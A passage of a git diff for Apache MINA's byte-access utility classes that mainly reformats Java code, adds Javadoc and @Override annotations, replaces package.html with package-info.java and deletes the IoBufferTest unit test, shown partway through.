(componentCursor.getRemaining() >= 4) { + componentCursor.putChar(c); index += 2; - } - else - { + } else { byte b0; byte b1; - if ( order.equals( ByteOrder.BIG_ENDIAN ) ) - { - b0 = ( byte ) ( ( c >> 8 ) & 0xff ); - b1 = ( byte ) ( ( c >> 0 ) & 0xff ); - } - else - { - b0 = ( byte ) ( ( c >> 0 ) & 0xff ); - b1 = ( byte ) ( ( c >> 8 ) & 0xff ); + + if (order.equals(ByteOrder.BIG_ENDIAN)) { + b0 = (byte) ((c >> 8) & 0xff); + b1 = (byte) (c & 0xff); + } else { + b0 = (byte) (c & 0xff); + b1 = (byte) ((c >> 8) & 0xff); } - put( b0 ); - put( b1 ); + + put(b0); + put(b1); } } + + private void checkBounds(int index, int accessSize) { + int lower = index; + int upper = index + accessSize; + if (lower < first()) { + throw new IndexOutOfBoundsException("Index " + lower + " less than start " + first() + "."); + } + + if (upper > last()) { + throw new IndexOutOfBoundsException("Index " + upper + " greater than length " + last() + "."); + } + } + } + + + /** + * {@inheritDoc} + */ + @Override + public int hashCode() { + int h = 17; + + h = h*37 + bas.hashCode(); + + return h; } } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeBase.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeBase.java index ef1a40eecc..10b27b862e 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeBase.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeBase.java @@ -19,13 +19,11 @@ */ package org.apache.mina.util.byteaccess; - import java.nio.ByteOrder; import org.apache.mina.util.byteaccess.ByteArray.Cursor; import org.apache.mina.util.byteaccess.CompositeByteArray.CursorListener; - /** * Provides common functionality between the * CompositeByteArrayRelativeReader and @@ -33,8 +31,7 @@ * * @author Apache MINA Project */ -abstract class CompositeByteArrayRelativeBase -{ +abstract class CompositeByteArrayRelativeBase { /** * The underlying CompositeByteArray. @@ -55,102 +52,96 @@ abstract class CompositeByteArrayRelativeBase * @param cba * The {@link CompositeByteArray} that will be the base for this class */ - public CompositeByteArrayRelativeBase( CompositeByteArray cba ) - { + public CompositeByteArrayRelativeBase(CompositeByteArray cba) { this.cba = cba; - cursor = cba.cursor( cba.first(), new CursorListener() - { - - public void enteredFirstComponent( int componentIndex, ByteArray component ) - { + cursor = cba.cursor(cba.first(), new CursorListener() { + + /** + * {@inheritDoc} + */ + @Override + public void enteredFirstComponent(int componentIndex, ByteArray component) { // Do nothing. } - - public void enteredLastComponent( int componentIndex, ByteArray component ) - { + /** + * {@inheritDoc} + */ + @Override + public void enteredLastComponent(int componentIndex, ByteArray component) { assert false; } - - public void enteredNextComponent( int componentIndex, ByteArray component ) - { + /** + * {@inheritDoc} + */ + @Override + public void enteredNextComponent(int componentIndex, ByteArray component) { cursorPassedFirstComponent(); } - - public void enteredPreviousComponent( int componentIndex, ByteArray component ) - { + /** + * {@inheritDoc} + */ + @Override + public void enteredPreviousComponent(int componentIndex, ByteArray component) { assert false; } - } ); + }); } - /** - * @inheritDoc + * @return The number of remaining bytes */ - public final int getRemaining() - { + public final int getRemaining() { return cursor.getRemaining(); } - /** - * @inheritDoc + * @return TRUE if there are some more bytes */ - public final boolean hasRemaining() - { + public final boolean hasRemaining() { return cursor.hasRemaining(); } - /** - * @inheritDoc + * @return The used byte order (little of big endian) */ - public ByteOrder order() - { + public ByteOrder order() { return cba.order(); } - /** * Make a ByteArray available for access at the end of this object. + * + * @param ba The ByteArray to append */ - public final void append( ByteArray ba ) - { - cba.addLast( ba ); + public final void append(ByteArray ba) { + cba.addLast(ba); } - /** * Free all resources associated with this object. */ - public final void free() - { + public final void free() { cba.free(); } - /** - * Get the index that will be used for the next access. + * @return the index that will be used for the next access. */ - public final int getIndex() - { + public final int getIndex() { return cursor.getIndex(); } - /** - * Get the index after the last byte that can be accessed. + * @return the index after the last byte that can be accessed. */ - public final int last() - { + public final int last() { return cba.last(); } - /** * Called whenever the cursor has passed from the cba's * first component. As the first component is no longer used, this provides @@ -158,5 +149,4 @@ public final int last() * freeing it). */ protected abstract void cursorPassedFirstComponent(); - } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeReader.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeReader.java index bf255dda43..742c0166bb 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeReader.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeReader.java @@ -19,10 +19,8 @@ */ package org.apache.mina.util.byteaccess; - import org.apache.mina.core.buffer.IoBuffer; - /** * Provides restricted, relative, read-only access to the bytes in a * CompositeByteArray. Using this interface has the advantage @@ -33,8 +31,7 @@ * * @author Apache MINA Project */ -public class CompositeByteArrayRelativeReader extends CompositeByteArrayRelativeBase implements IoRelativeReader -{ +public class CompositeByteArrayRelativeReader extends CompositeByteArrayRelativeBase implements IoRelativeReader { /** * Whether or not to free component CompositeByteArrays when @@ -51,46 +48,37 @@ public class CompositeByteArrayRelativeReader extends CompositeByteArrayRelative * @param autoFree * If data should be freed once it has been passed in the list */ - public CompositeByteArrayRelativeReader( CompositeByteArray cba, boolean autoFree ) - { - super( cba ); + public CompositeByteArrayRelativeReader(CompositeByteArray cba, boolean autoFree) { + super(cba); this.autoFree = autoFree; } - @Override - protected void cursorPassedFirstComponent() - { - if ( autoFree ) - { + protected void cursorPassedFirstComponent() { + if (autoFree) { cba.removeFirst().free(); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public void skip( int length ) - { - cursor.skip( length ); + public void skip(int length) { + cursor.skip(length); } - /** - * @inheritDoc + * {@inheritDoc} */ - public ByteArray slice( int length ) - { - return cursor.slice( length ); + public ByteArray slice(int length) { + return cursor.slice(length); } /** - * Returns the byte at the current position in the buffer + * @return the byte at the current position in the buffer * */ - public byte get() - { + public byte get() { return cursor.get(); } @@ -98,62 +86,49 @@ public byte get() * places the data starting at current position into the * supplied {@link IoBuffer} */ - public void get( IoBuffer bb ) - { - cursor.get( bb ); + public void get(IoBuffer bb) { + cursor.get(bb); } - /** - * @inheritDoc + * {@inheritDoc} */ - public short getShort() - { + public short getShort() { return cursor.getShort(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public int getInt() - { + public int getInt() { return cursor.getInt(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public long getLong() - { + public long getLong() { return cursor.getLong(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public float getFloat() - { + public float getFloat() { return cursor.getFloat(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public double getDouble() - { + public double getDouble() { return cursor.getDouble(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public char getChar() - { + public char getChar() { return cursor.getChar(); } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeWriter.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeWriter.java index 269927cc6f..3969831570 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeWriter.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/CompositeByteArrayRelativeWriter.java @@ -19,10 +19,8 @@ */ package org.apache.mina.util.byteaccess; - import org.apache.mina.core.buffer.IoBuffer; - /** * Provides restricted, relative, write-only access to the bytes in a * CompositeByteArray. @@ -34,30 +32,36 @@ * * By providing an appropriate Expander it is also possible to * automatically add more backing storage as more data is written. - *

    + *
    + *
    * TODO: Get flushing working. * * @author Apache MINA Project */ -public class CompositeByteArrayRelativeWriter extends CompositeByteArrayRelativeBase implements IoRelativeWriter -{ +public class CompositeByteArrayRelativeWriter extends CompositeByteArrayRelativeBase implements IoRelativeWriter { /** * An object that knows how to expand a CompositeByteArray. */ - public interface Expander - { - void expand( CompositeByteArray cba, int minSize ); + public interface Expander { + /** + * Expand a ByteBuffer by minSize bytes + * @param cba The ByteBuffer to expand + * @param minSize The new added size + */ + void expand(CompositeByteArray cba, int minSize); } /** * No-op expander. The overridden method does nothing. * */ - public static class NopExpander implements Expander - { - public void expand( CompositeByteArray cba, int minSize ) - { + public static class NopExpander implements Expander { + /** + * {@inheritDoc} + */ + @Override + public void expand(CompositeByteArray cba, int minSize) { // Do nothing. } } @@ -67,28 +71,32 @@ public void expand( CompositeByteArray cba, int minSize ) * bytes provided in the constructor * */ - public static class ChunkedExpander implements Expander - { + public static class ChunkedExpander implements Expander { private final ByteArrayFactory baf; private final int newComponentSize; - - public ChunkedExpander( ByteArrayFactory baf, int newComponentSize ) - { + /** + * Creates a new ChunkedExpander instance + * + * @param baf The byte array factory + * @param newComponentSize The new size + */ + public ChunkedExpander(ByteArrayFactory baf, int newComponentSize) { this.baf = baf; this.newComponentSize = newComponentSize; } - - public void expand( CompositeByteArray cba, int minSize ) - { + /** + * {@inheritDoc} + */ + @Override + public void expand(CompositeByteArray cba, int minSize) { int remaining = minSize; - while ( remaining > 0 ) - { - ByteArray component = baf.create( newComponentSize ); - cba.addLast( component ); + while (remaining > 0) { + ByteArray component = baf.create(newComponentSize); + cba.addLast(component); remaining -= newComponentSize; } } @@ -98,10 +106,13 @@ public void expand( CompositeByteArray cba, int minSize ) /** * An object that knows how to flush a ByteArray. */ - public interface Flusher - { - // document free() behaviour - void flush( ByteArray ba ); + public interface Flusher { + /** + * Flush a byte array + * + * @param ba The byte array to flush + */ + void flush(ByteArray ba); } /** @@ -120,7 +131,6 @@ public interface Flusher */ private final boolean autoFlush; - /** * * Creates a new instance of CompositeByteArrayRelativeWriter. @@ -134,140 +144,122 @@ public interface Flusher * @param autoFlush * Should this class automatically flush? */ - public CompositeByteArrayRelativeWriter( CompositeByteArray cba, Expander expander, Flusher flusher, - boolean autoFlush ) - { - super( cba ); + public CompositeByteArrayRelativeWriter(CompositeByteArray cba, Expander expander, Flusher flusher, + boolean autoFlush) { + super(cba); this.expander = expander; this.flusher = flusher; this.autoFlush = autoFlush; } - - private void prepareForAccess( int size ) - { + private void prepareForAccess(int size) { int underflow = cursor.getIndex() + size - last(); - if ( underflow > 0 ) - { - expander.expand( cba, underflow ); + if (underflow > 0) { + expander.expand(cba, underflow); } } - /** * Flush to the current index. */ - public void flush() - { - flushTo( cursor.getIndex() ); + public void flush() { + flushTo(cursor.getIndex()); } - /** * Flush to the given index. + * + * @param index The end position */ - public void flushTo( int index ) - { - ByteArray removed = cba.removeTo( index ); - flusher.flush( removed ); + public void flushTo(int index) { + ByteArray removed = cba.removeTo(index); + flusher.flush(removed); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void skip( int length ) - { - cursor.skip( length ); + @Override + public void skip(int length) { + cursor.skip(length); } - @Override - protected void cursorPassedFirstComponent() - { - if ( autoFlush ) - { - flushTo( cba.first() + cba.getFirst().length() ); + protected void cursorPassedFirstComponent() { + if (autoFlush) { + flushTo(cba.first() + cba.getFirst().length()); } } - /** - * @inheritDoc + * {@inheritDoc} */ - public void put( byte b ) - { - prepareForAccess( 1 ); - cursor.put( b ); + @Override + public void put(byte b) { + prepareForAccess(1); + cursor.put(b); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void put( IoBuffer bb ) - { - prepareForAccess( bb.remaining() ); - cursor.put( bb ); + @Override + public void put(IoBuffer bb) { + prepareForAccess(bb.remaining()); + cursor.put(bb); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putShort( short s ) - { - prepareForAccess( 2 ); - cursor.putShort( s ); + @Override + public void putShort(short s) { + prepareForAccess(2); + cursor.putShort(s); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putInt( int i ) - { - prepareForAccess( 4 ); - cursor.putInt( i ); + @Override + public void putInt(int i) { + prepareForAccess(4); + cursor.putInt(i); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putLong( long l ) - { - prepareForAccess( 8 ); - cursor.putLong( l ); + @Override + public void putLong(long l) { + prepareForAccess(8); + cursor.putLong(l); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putFloat( float f ) - { - prepareForAccess( 4 ); - cursor.putFloat( f ); + @Override + public void putFloat(float f) { + prepareForAccess(4); + cursor.putFloat(f); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putDouble( double d ) - { - prepareForAccess( 8 ); - cursor.putDouble( d ); + @Override + public void putDouble(double d) { + prepareForAccess(8); + cursor.putDouble(d); } - /** - * @inheritDoc + * {@inheritDoc} */ - public void putChar( char c ) - { - prepareForAccess( 2 ); - cursor.putChar( c ); + @Override + public void putChar(char c) { + prepareForAccess(2); + cursor.putChar(c); } } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoAbsoluteReader.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoAbsoluteReader.java index 334b7832d2..651170c440 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoAbsoluteReader.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoAbsoluteReader.java @@ -19,94 +19,75 @@ */ package org.apache.mina.util.byteaccess; - -import java.nio.ByteOrder; - import org.apache.mina.core.buffer.IoBuffer; - /** * Provides absolute read access to a sequence of bytes. * * @author Apache MINA Project */ -public interface IoAbsoluteReader -{ - +public interface IoAbsoluteReader { /** - * Get the index of the first byte that can be accessed. - */ - int first(); - - - /** - * Gets the index after the last byte that can be accessed. - */ - int last(); - - - /** - * Gets the total number of bytes that can be accessed. + * @return the total number of bytes that can be accessed. */ int length(); - /** * Creates an array with a view of part of this array. + * + * @param index The starting position + * @param length The number of bytes to copy + * @return The ByteArray that is a view on the original array */ - ByteArray slice( int index, int length ); - - - /** - * Gets the order of the bytes. - */ - ByteOrder order(); - + ByteArray slice(int index, int length); /** - * Gets a byte from the given index. + * @param index The starting position + * @return a byte from the given index. */ - byte get( int index ); - + byte get(int index); /** * Gets enough bytes to fill the IoBuffer from the given index. + * + * @param index The starting position + * @param bb The IoBuffer that will be filled with the bytes */ - public void get( int index, IoBuffer bb ); - + void get(int index, IoBuffer bb); /** - * Gets a short from the given index. + * @param index The starting position + * @return a short from the given index. */ - short getShort( int index ); - + short getShort(int index); /** - * Gets an int from the given index. + * @param index The starting position + * @return an int from the given index. */ - int getInt( int index ); - + int getInt(int index); /** - * Gets a long from the given index. + * @param index The starting position + * @return a long from the given index. */ - long getLong( int index ); - + long getLong(int index); /** - * Gets a float from the given index. + * @param index The starting position + * @return a float from the given index. */ - float getFloat( int index ); - + float getFloat(int index); /** - * Gets a double from the given index. + * @param index The starting position + * @return a double from the given index. */ - double getDouble( int index ); - + double getDouble(int index); /** - * Gets a char from the given index. + * @param index The starting position + * @return a char from the given index. */ - char getChar( int index ); + char getChar(int index); } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoAbsoluteWriter.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoAbsoluteWriter.java index 464d9fcdb6..583e4dd586 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoAbsoluteWriter.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoAbsoluteWriter.java @@ -19,82 +19,75 @@ */ package org.apache.mina.util.byteaccess; - -import java.nio.ByteOrder; - import org.apache.mina.core.buffer.IoBuffer; - /** * Provides absolute write access to a sequence of bytes. * * @author Apache MINA Project */ -public interface IoAbsoluteWriter -{ - - /** - * Get the index of the first byte that can be accessed. - */ - int first(); - - - /** - * Gets the index after the last byte that can be accessed. - */ - int last(); - - - /** - * Gets the order of the bytes. - */ - ByteOrder order(); - - +public interface IoAbsoluteWriter { /** * Puts a byte at the given index. + * + * @param index The position + * @param b The byte to put */ - void put( int index, byte b ); - + void put(int index, byte b); /** * Puts bytes from the IoBuffer at the given index. + * + * @param index The position + * @param bb The bytes to put */ - public void put( int index, IoBuffer bb ); - + void put(int index, IoBuffer bb); /** * Puts a short at the given index. + * + * @param index The position + * @param s The short to put */ - void putShort( int index, short s ); - + void putShort(int index, short s); /** * Puts an int at the given index. + * + * @param index The position + * @param i The int to put */ - void putInt( int index, int i ); - + void putInt(int index, int i); /** * Puts a long at the given index. + * + * @param index The position + * @param l The long to put */ - void putLong( int index, long l ); - + void putLong(int index, long l); /** * Puts a float at the given index. + * + * @param index The position + * @param f The float to put */ - void putFloat( int index, float f ); - + void putFloat(int index, float f); /** * Puts a double at the given index. + * + * @param index The position + * @param d The doubvle to put */ - void putDouble( int index, double d ); - + void putDouble(int index, double d); /** * Puts a char at the given index. + * + * @param index The position + * @param c The char to put */ - void putChar( int index, char c ); + void putChar(int index, char c); } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoRelativeReader.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoRelativeReader.java index 3a6d8f754b..66953c044e 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoRelativeReader.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoRelativeReader.java @@ -19,94 +19,86 @@ */ package org.apache.mina.util.byteaccess; - import java.nio.ByteOrder; import org.apache.mina.core.buffer.IoBuffer; - /** * Provides relative read access to a sequence of bytes. * * @author Apache MINA Project */ -public interface IoRelativeReader -{ +public interface IoRelativeReader { /** - * Gets the number of remaining bytes that can be read. + * @return the number of remaining bytes that can be read. */ int getRemaining(); - /** * Checks if there are any remaining bytes that can be read. + * + * @return true if there are some remaining bytes in the buffer */ boolean hasRemaining(); - /** * Advances the reader by the given number of bytes. + * + * @param length the number of bytes to skip */ - void skip( int length ); - + void skip(int length); /** - * Creates an array with a view of part of this array. + * @param length The number of bytes to get + * @return an array with a view of part of this array. */ - ByteArray slice( int length ); - + ByteArray slice(int length); /** - * Gets the order of the bytes. + * @return the bytes' order */ ByteOrder order(); - /** - * Gets a byte and advances the reader. + * @return the byte at the current position and advances the reader. */ byte get(); - /** * Gets enough bytes to fill the IoBuffer and advances the reader. + * + * @param bb The IoBuffer that will contain the read bytes */ - void get( IoBuffer bb ); - + void get(IoBuffer bb); /** - * Gets a short and advances the reader. + * @return a short and advances the reader. */ short getShort(); - /** - * Gets an int and advances the reader. + * @return an int and advances the reader. */ int getInt(); - /** - * Gets a long and advances the reader. + * @return a long and advances the reader. */ long getLong(); - /** - * Gets a float and advances the reader. + * @return a float and advances the reader. */ float getFloat(); - /** - * Gets a double and advances the reader. + * @return a double and advances the reader. */ double getDouble(); - /** - * Gets a char and advances the reader. + * @return a char and advances the reader. */ char getChar(); } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoRelativeWriter.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoRelativeWriter.java index f4dc45208b..1c6d6b9e05 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoRelativeWriter.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/IoRelativeWriter.java @@ -19,88 +19,92 @@ */ package org.apache.mina.util.byteaccess; - import java.nio.ByteOrder; import org.apache.mina.core.buffer.IoBuffer; - /** * Provides relative read access to a sequence of bytes. * * @author Apache MINA Project */ -public interface IoRelativeWriter -{ +public interface IoRelativeWriter { /** - * Gets the number of remaining bytes that can be read. + * @return the number of remaining bytes that can be read. */ int getRemaining(); - /** - * Checks if there are any remaining bytes that can be read. + * @return if there are any remaining bytes that can be read. */ boolean hasRemaining(); - /** * Advances the writer by the given number of bytes. + * + * @param length The number of bytes to skip */ - void skip( int length ); - + void skip(int length); /** - * Gets the order of the bytes. + * @return the bytes' order */ ByteOrder order(); - /** * Puts a byte and advances the reader. + * + * @param b The byte to put */ - void put( byte b ); - + void put(byte b); /** * Puts enough bytes to fill the IoBuffer and advances the reader. + * + * @param bb The bytes to put */ - void put( IoBuffer bb ); - + void put(IoBuffer bb); /** * Puts a short and advances the reader. + * + * @param s The short to put */ - void putShort( short s ); - + void putShort(short s); /** * Puts an int and advances the reader. + * + * @param i The int to put */ - void putInt( int i ); - + void putInt(int i); /** * Puts a long and advances the reader. + * + * @param l The long to put */ - void putLong( long l ); - + void putLong(long l); /** * Puts a float and advances the reader. + * + * @param f The float to put */ - void putFloat( float f ); - + void putFloat(float f); /** * Puts a double and advances the reader. + * + * @param d The double to put */ - void putDouble( double d ); - + void putDouble(double d); /** * Puts a char and advances the reader. + * + * @param c The char to put */ - void putChar( char c ); + void putChar(char c); } diff --git a/mina-core/src/main/java/org/apache/mina/util/byteaccess/SimpleByteArrayFactory.java b/mina-core/src/main/java/org/apache/mina/util/byteaccess/SimpleByteArrayFactory.java index 2d230e579b..4408894877 100644 --- a/mina-core/src/main/java/org/apache/mina/util/byteaccess/SimpleByteArrayFactory.java +++ b/mina-core/src/main/java/org/apache/mina/util/byteaccess/SimpleByteArrayFactory.java @@ -19,10 +19,8 @@ */ package org.apache.mina.util.byteaccess; - import org.apache.mina.core.buffer.IoBuffer; - /** * Creates ByteArray backed by a heap-allocated * IoBuffer. The free method on returned @@ -30,35 +28,28 @@ * * @author Apache MINA Project */ -public class SimpleByteArrayFactory implements ByteArrayFactory -{ +public class SimpleByteArrayFactory implements ByteArrayFactory { /** * * Creates a new instance of SimpleByteArrayFactory. * */ - public SimpleByteArrayFactory() - { + public SimpleByteArrayFactory() { super(); } - /** - * @inheritDoc + * {@inheritDoc} */ - public ByteArray create( int size ) - { - if ( size < 0 ) - { - throw new IllegalArgumentException( "Buffer size must not be negative:" + size ); + public ByteArray create(int size) { + if (size < 0) { + throw new IllegalArgumentException("Buffer size must not be negative:" + size); } - IoBuffer bb = IoBuffer.allocate( size ); - ByteArray ba = new BufferByteArray( bb ) - { + IoBuffer bb = IoBuffer.allocate(size); + ByteArray ba = new BufferByteArray(bb) { @Override - public void free() - { + public void free() { // Nothing to do. } diff --git a/mina-core/src/main/java/org/apache/mina/util/package-info.java b/mina-core/src/main/java/org/apache/mina/util/package-info.java new file mode 100644 index 0000000000..dcb3a9d030 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/util/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Miscellaneous utility classes + * + * @author Apache MINA Project + */ +package org.apache.mina.util; diff --git a/mina-core/src/main/java/org/apache/mina/util/package.html b/mina-core/src/main/java/org/apache/mina/util/package.html deleted file mode 100644 index c6ec964f38..0000000000 --- a/mina-core/src/main/java/org/apache/mina/util/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Miscellaneous utility classes - - diff --git a/mina-core/src/test/java/org/apache/mina/core/FutureTest.java b/mina-core/src/test/java/org/apache/mina/core/FutureTest.java index 95c67eb622..1b591e0abf 100644 --- a/mina-core/src/test/java/org/apache/mina/core/FutureTest.java +++ b/mina-core/src/test/java/org/apache/mina/core/FutureTest.java @@ -254,7 +254,7 @@ private static class TestListener implements IoFutureListener { public TestListener() { super(); } - + public void operationComplete(IoFuture future) { this.notifiedFuture = future; } diff --git a/mina-core/src/test/java/org/apache/mina/core/IoBufferTest.java b/mina-core/src/test/java/org/apache/mina/core/IoBufferTest.java deleted file mode 100644 index 2e6700fb17..0000000000 --- a/mina-core/src/test/java/org/apache/mina/core/IoBufferTest.java +++ /dev/null @@ -1,1139 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.core; - -import java.nio.BufferOverflowException; -import java.nio.ByteBuffer; -import java.nio.ByteOrder; -import java.nio.ReadOnlyBufferException; -import java.nio.charset.CharacterCodingException; -import java.nio.charset.Charset; -import java.nio.charset.CharsetDecoder; -import java.nio.charset.CharsetEncoder; -import java.util.ArrayList; -import java.util.Date; -import java.util.EnumSet; -import java.util.List; - -import org.apache.mina.core.buffer.IoBuffer; -import org.apache.mina.util.Bar; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; - -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.assertEquals; -import static org.junit.Assert.assertSame; -import static org.junit.Assert.assertNotSame; -import static org.junit.Assert.fail; - -/** - * Tests {@link IoBuffer}. - * - * @author Apache MINA Project - */ -public class IoBufferTest { - - @Before - public void setUp() throws Exception { - // Do nothing - } - - @After - public void tearDown() throws Exception { - // Do nothing - } - - @Test - public void testAllocate() throws Exception { - for (int i = 10; i < 1048576 * 2; i = i * 11 / 10) // increase by 10% - { - IoBuffer buf = IoBuffer.allocate(i); - assertEquals(0, buf.position()); - assertEquals(buf.capacity(), buf.remaining()); - assertTrue(buf.capacity() >= i); - assertTrue(buf.capacity() < i * 2); - } - } - - @Test - public void testAutoExpand() throws Exception { - IoBuffer buf = IoBuffer.allocate(1); - - buf.put((byte) 0); - try { - buf.put((byte) 0); - fail("Buffer can't auto expand, with autoExpand property set at false"); - } catch (BufferOverflowException e) { - // Expected Exception as auto expand property is false - assertTrue(true); - } - - buf.setAutoExpand(true); - buf.put((byte) 0); - assertEquals(2, buf.position()); - assertEquals(2, buf.limit()); - assertEquals(2, buf.capacity()); - - buf.setAutoExpand(false); - try { - buf.put(3, (byte) 0); - fail("Buffer can't auto expand, with autoExpand property set at false"); - } catch (IndexOutOfBoundsException e) { - // Expected Exception as auto expand property is false - assertTrue(true); - } - - buf.setAutoExpand(true); - buf.put(3, (byte) 0); - assertEquals(2, buf.position()); - assertEquals(4, buf.limit()); - assertEquals(4, buf.capacity()); - - // Make sure the buffer is doubled up. - buf = IoBuffer.allocate(1).setAutoExpand(true); - int lastCapacity = buf.capacity(); - for (int i = 0; i < 1048576; i ++) { - buf.put((byte) 0); - if (lastCapacity != buf.capacity()) { - assertEquals(lastCapacity * 2, buf.capacity()); - lastCapacity = buf.capacity(); - } - } - } - - @Test - public void testAutoExpandMark() throws Exception { - IoBuffer buf = IoBuffer.allocate(4).setAutoExpand(true); - - buf.put((byte) 0); - buf.put((byte) 0); - buf.put((byte) 0); - - // Position should be 3 when we reset this buffer. - buf.mark(); - - // Overflow it - buf.put((byte) 0); - buf.put((byte) 0); - - assertEquals(5, buf.position()); - buf.reset(); - assertEquals(3, buf.position()); - } - - @Test - public void testAutoShrink() throws Exception { - IoBuffer buf = IoBuffer.allocate(8).setAutoShrink(true); - - // Make sure the buffer doesn't shrink too much (less than the initial - // capacity.) - buf.sweep((byte) 1); - buf.fill(7); - buf.compact(); - assertEquals(8, buf.capacity()); - assertEquals(1, buf.position()); - assertEquals(8, buf.limit()); - buf.clear(); - assertEquals(1, buf.get()); - - // Expand the buffer. - buf.capacity(32).clear(); - assertEquals(32, buf.capacity()); - - // Make sure the buffer shrinks when only 1/4 is being used. - buf.sweep((byte) 1); - buf.fill(24); - buf.compact(); - assertEquals(16, buf.capacity()); - assertEquals(8, buf.position()); - assertEquals(16, buf.limit()); - buf.clear(); - for (int i = 0; i < 8; i ++) { - assertEquals(1, buf.get()); - } - - // Expand the buffer. - buf.capacity(32).clear(); - assertEquals(32, buf.capacity()); - - // Make sure the buffer shrinks when only 1/8 is being used. - buf.sweep((byte) 1); - buf.fill(28); - buf.compact(); - assertEquals(8, buf.capacity()); - assertEquals(4, buf.position()); - assertEquals(8, buf.limit()); - buf.clear(); - for (int i = 0; i < 4; i ++) { - assertEquals(1, buf.get()); - } - - // Expand the buffer. - buf.capacity(32).clear(); - assertEquals(32, buf.capacity()); - - // Make sure the buffer shrinks when 0 byte is being used. - buf.fill(32); - buf.compact(); - assertEquals(8, buf.capacity()); - assertEquals(0, buf.position()); - assertEquals(8, buf.limit()); - - // Expand the buffer. - buf.capacity(32).clear(); - assertEquals(32, buf.capacity()); - - // Make sure the buffer doesn't shrink when more than 1/4 is being used. - buf.sweep((byte) 1); - buf.fill(23); - buf.compact(); - assertEquals(32, buf.capacity()); - assertEquals(9, buf.position()); - assertEquals(32, buf.limit()); - buf.clear(); - for (int i = 0; i < 9; i ++) { - assertEquals(1, buf.get()); - } - } - - @Test - public void testGetString() throws Exception { - IoBuffer buf = IoBuffer.allocate(16); - CharsetDecoder decoder; - - Charset charset = Charset.forName("UTF-8"); - buf.clear(); - buf.putString("hello", charset.newEncoder()); - buf.put((byte) 0); - buf.flip(); - assertEquals("hello", buf.getString(charset.newDecoder())); - - buf.clear(); - buf.putString("hello", charset.newEncoder()); - buf.flip(); - assertEquals("hello", buf.getString(charset.newDecoder())); - - decoder = Charset.forName("ISO-8859-1").newDecoder(); - buf.clear(); - buf.put((byte) 'A'); - buf.put((byte) 'B'); - buf.put((byte) 'C'); - buf.put((byte) 0); - - buf.position(0); - assertEquals("ABC", buf.getString(decoder)); - assertEquals(4, buf.position()); - - buf.position(0); - buf.limit(1); - assertEquals("A", buf.getString(decoder)); - assertEquals(1, buf.position()); - - buf.clear(); - assertEquals("ABC", buf.getString(10, decoder)); - assertEquals(10, buf.position()); - - buf.clear(); - assertEquals("A", buf.getString(1, decoder)); - 